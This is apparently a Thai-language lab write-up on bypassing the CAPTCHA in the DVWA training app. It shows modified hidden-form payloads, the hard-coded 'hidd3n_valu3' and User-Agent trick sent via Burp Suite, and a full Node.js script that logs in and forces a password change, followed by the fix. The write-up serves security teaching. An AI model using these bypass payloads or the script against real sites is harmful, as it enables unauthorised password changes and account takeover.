วันนี้เราจะมาลอง 1 ช่องโหว่ ใน OWASP Insufficient Attack Protection ในเรื่องของ Insecure CAPTCHA กันครับว่า ไอ้ตัว CAPTCHA ที่ถามว่าคุณเป็น Robot ไหมเนี่ย เนี่ย จะโดน By Pass ได้ในกรณีไหนบ้าง เราจะมาดูกันว่าการใช้ CAPTCHA แบบไหน ที่ปลอดภัย และแบบไหนที่ไม่ปลอดภัยกันครับ
ก่อนอื่น ลอง View Source ดูก่อนว่ามี Params อะไรบ้าง และส่งไปที่ไหน
<form action="#" method="POST" ><h3>Change your password:</h3><br /><input type="hidden" name="step" value="1" />New password:<br /><input type="password" AUTOCOMPLETE="off" name="password_new"><br />Confirm new password:<br /><input type="password" AUTOCOMPLETE="off" name="password_conf"><br /><script src='https://www.google.com/recaptcha/api.js'></script><br /> <div class='g-recaptcha' data-theme='dark' data-sitekey='6LfDgsIZAAAAAInL7KA969QfuW-Mi_sy0Xz8fiuw'></div><br /><input type="submit" value="Change" name="Change"></form>
จาก Code จะพบว่ามีการส่งข้อมูลแบบ POST ไปที่ตัวมันเอง โดยส่ง Params
เมื่อ submit ไปแล้วระบบจะส่งต่อไปที่ step 2 ซึ่งมีผลลัพธ์ดังรูป
เมื่อเรา View Source ดูจะพบว่า มีลักษณะดังนี้
<form action="#" method="POST" style="display:none;"><h3>Change your password:</h3><br /><input type="hidden" name="step" value="1" />New password:<br /><input type="password" AUTOCOMPLETE="off" name="password_new"><br />Confirm new password:<br /><input type="password" AUTOCOMPLETE="off" name="password_conf"><br /><script src='https://www.google.com/recaptcha/api.js'></script><br /> <div class='g-recaptcha' data-theme='dark' data-sitekey='6LfDgsIZAAAAAInL7KA969QfuW-Mi_sy0Xz8fiuw'></div><br /><input type="submit" value="Change" name="Change"></form><pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action="#" method="POST"><input type="hidden" name="step" value="2" /><input type="hidden" name="password_new" value="password" /><input type="hidden" name="password_conf" value="password" /><input type="submit" name="Change" value="Change" /></form>
โดยระบบจะทำงานอยู่บน url เดิม แต่ hidden form ตัวแรกเอาไว้ และแสดง form ที่ 2 ขึ้นมา โดยมี Params ดังนี้
จะเห็นว่า เราน่าจะสามารถ By Pass จาก form แรกมา step ที่ 2 ได้เลย ด้วยการเปิด Inspector ใน Browser ขึ้นมา แล้วแก้ไข HTML โต้งๆเลย
และแทนที่ด้วย form ใหม่ลงไป
<form action="#" method="POST"><input type="hidden" name="step" value="2" /><input type="hidden" name="password_new" value="admin" /><input type="hidden" name="password_conf" value="admin" /><input type="submit" name="Change" value="Change" /></form>
หลังจากนั้นผมลอง logout ออกแล้ว login เข้าใช้งานใหม่ด้วย
สรุปว่าเข้าได้ โดยไม่ต้องผ่าน CAPTCHA แม้แต่น้อย เพราะการวาง Flow การทำงานมันผิดนั่นเองเลยสามารถผ่านได้อย่างง่ายดาย
เมื่อลอง View Source ดูจะพบว่า มีการใช้ Params passed_captcha ในการเช็คว่า CAPTCHA ผ่านหรือไม่ผ่านเพิ่มเข้ามา งั้นก็แก้ง่ายๆเลยครับแบบนี้
<form action="#" method="POST"><input type="hidden" name="step" value="2" /><input type="hidden" name="password_new" value="password" /><input type="hidden" name="password_conf" value="password" /><input type="hidden" name="passed_captcha" value="true" /><input type="submit" name="Change" value="Change" /></form>
เอา form นี้ไปแก้ไขแบบวิธีเดิม แล้วลอง by pass ใหม่อีกรอบ จะพบว่า ทำการข้าม CAPTCHA แล้วไปสู่กระบวน การการเปลี่ยน Password เรียบร้อย
2 level นี้พลาดที่ Programmer เขียน code และออกแบบ flow ไม่รัดกุม
เดี๋ยวเราลองเปลี่ยน Security level ไปเป็น high ดูกันบ้าง
View Source ดูสักหน่อย อะไรที่เพิ่มเข้ามา
<form action="#" method="POST" ><h3>Change your password:</h3><br /><input type="hidden" name="step" value="1" />New password:<br /><input type="password" AUTOCOMPLETE="off" name="password_new"><br />Confirm new password:<br /><input type="password" AUTOCOMPLETE="off" name="password_conf"><br /><script src='https://www.google.com/recaptcha/api.js'></script><br /> <div class='g-recaptcha' data-theme='dark' data-sitekey='6LfDgsIZAAAAAInL7KA969QfuW-Mi_sy0Xz8fiuw'></div><!-- **DEV NOTE** Response: 'hidd3n_valu3' && User-Agent: 'reCAPTCHA' **/DEV NOTE** --><input type='hidden' name='user_token' value='963da875cc8ac8f53bf22c5fb26c45b0' /><br /><input type="submit" value="Change" name="Change"></form>
โดยมี Params ดังนี้
ลองกดส่งโดยไม่ Tick เลือก สรุปว่า เปลี่ยนรหัสไม่ได้ เลยลองไล่ code php ดู
Unknown Vulnerability Source vulnerabilities/captcha/source/high.php
<?phpif( isset( $_POST[ 'Change' ] ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);if ($resp ||($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')){?>
พบว่าบรรทัดนี้ มีการ hard code ไว้ -_-”
$resp ||($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')
งั้นผมลองใช้ Burp Suite ยิง Params ก่อนเลย จะได้ไม่ต้อง Code นาน ด้วยการ Add scope Website ไว้ก่อนเดี๋ยวงง
แล้วทำการแก้ Header ตรง User-Agent และ Params g-recaptcha-response ให้ตรงตามที่เค้า hard code ไว้ แล้ว Forward ไปเลยตรงๆ
Website จะ Response กลับมาว่า ทำการเปลี่ยน Password ได้แล้ว ก็ให้ลอง Logout ออกแล้วลอง Login ดู เราก็จะ By pass แบบ High Level ได้เรียบร้อย อันนี้พลาดเพราะ Programmer ล้วนๆเลย
เราลองเขียน Nodejs ยิงเข้าไป By Pass ดู
const request = require("request")const cheerio = require('cheerio')const fs = require('fs')const ip = `172.16.20.57`const port = 80const loginUsername = 'admin'const loginPassword = 'password'const loginUrl = `http://${ip}:${port}/login.php`const url = `http://${ip}:${port}/vulnerabilities/captcha/`const openPagelogin = (url) => {return new Promise((resolve, rejects) => {request({url: url,method: 'GET',}, (err, res, body) => {const phpid = res.headers['set-cookie'][0].replace('path=/', '')const securityHigh = res.headers['set-cookie'][res.headers['set-cookie'].length - 1].replace('low', 'high')const scrap = cheerio.load(body)const user_token = scrap('input[name="user_token"]').val()const sessions = {phpid: phpid,securityHigh: securityHigh,userToken: user_token}resolve(sessions)})})}const loginAction = (sessions, username, password) => {return new Promise((resolve, rejects) => {request({url: loginUrl,method: 'post',headers: {Cookie: `${sessions.phpid} ${sessions.securityHigh}`},form: {username: username,password: password,user_token: sessions.userToken,Login: `Login`}}, (err, res, body) => {resolve(body)})})}const gotoBFPage = (url, sessions) => {return new Promise((resolve, rejects) => {request({url: url,method: 'get',headers: {Cookie: `${sessions.phpid} ${sessions.securityHigh}`},}, (err, res, body) => {const scrap = cheerio.load(body)const hacking_user_token = scrap('input[name="user_token"]').val()resolve(hacking_user_token)})})}const byPassCaptcha = (url, sessions, token) => {return new Promise((resolve, rejects) => {const req = request({url: url,method: 'post',headers: {Cookie: `${sessions.phpid} ${sessions.securityHigh}`,'User-Agent': 'reCAPTCHA'},form: {step: 1,password_new: `password`,password_conf: `password`,user_token: token,'g-recaptcha-response': `hidd3n_valu3`,Change: `Change`}}, (err, res, body) => {const scrap = cheerio.load(body)const passwordChanged = scrap('pre').text()resolve(passwordChanged)})})}const run = async () => {const sessions = await openPagelogin(loginUrl)await loginAction(sessions, loginUsername, loginPassword)let token = await gotoBFPage(url, sessions)console.log(`token ${token}`)const result = await byPassCaptcha(url, sessions, token)console.log(result)}run()
หลังจากเรารู้แล้วว่าตะกี้มีการเขียน code พลาดจาก Programmer ตรงที่ดันไป hard code ไว้จุดนึง เราก็ทำการแก้ไขไปให้เป็นประมาณนี้ซะ คือถ้า captcha ไม่ตรง ให้ดีดออกสถานเดียวเลย และให้มีการเช็คพาสเวิดปัจจุบันอีกครั้งก่อนจะเปลี่ยนรหัสผ่านว่าตรงกับรหัสเดิมใน database หรือเปล่า เท่านี้ในตัว DVWA ก็ขึ้นสถานะว่า Impossible แล้วจ้า
$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectlyecho "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {
สรุปได้ว่าจริงๆแล้วไอ้ CAPTCHA อ่ะมัน Security อยู่นะ แต่ไอ้คนเอาไปใช้ Implement ต่อเนี่ยแหล่ะ ที่ทำให้มันหลุดได้ง่ายๆ แล้วก็มีคนเขียนแบบนั้นอยู่จริงๆ ทั้งพวกออกแบบ Flow การทำงานผิดๆ หรือพวกเล่น Hard code และพวก debug value ไว้ทดสอบแล้วลืมเอาออก ถ้าเคยทำงานต่อจากคนอื่น น่าจะเจอ ไอ้ code พวกนี้พอสมควร แบบว่า ทำไว้กะใช้ชั่วคราว แต่ใช้ไปใช้มา ยาวยันชั่วโคตร สบายเลย
สรุปได้ว่าจากการทดลองนี้ CAPTCHA จะโดน By Pass ได้ 2 เห ตุผลคือ
ไปล่ะจ้าา ผิดพลาดประการใดท้วงติงมาได้ครับ เพราะผมก็ไม่ใช่มืออาชีพทางด้านนี้
Quick Links
Legal Stuff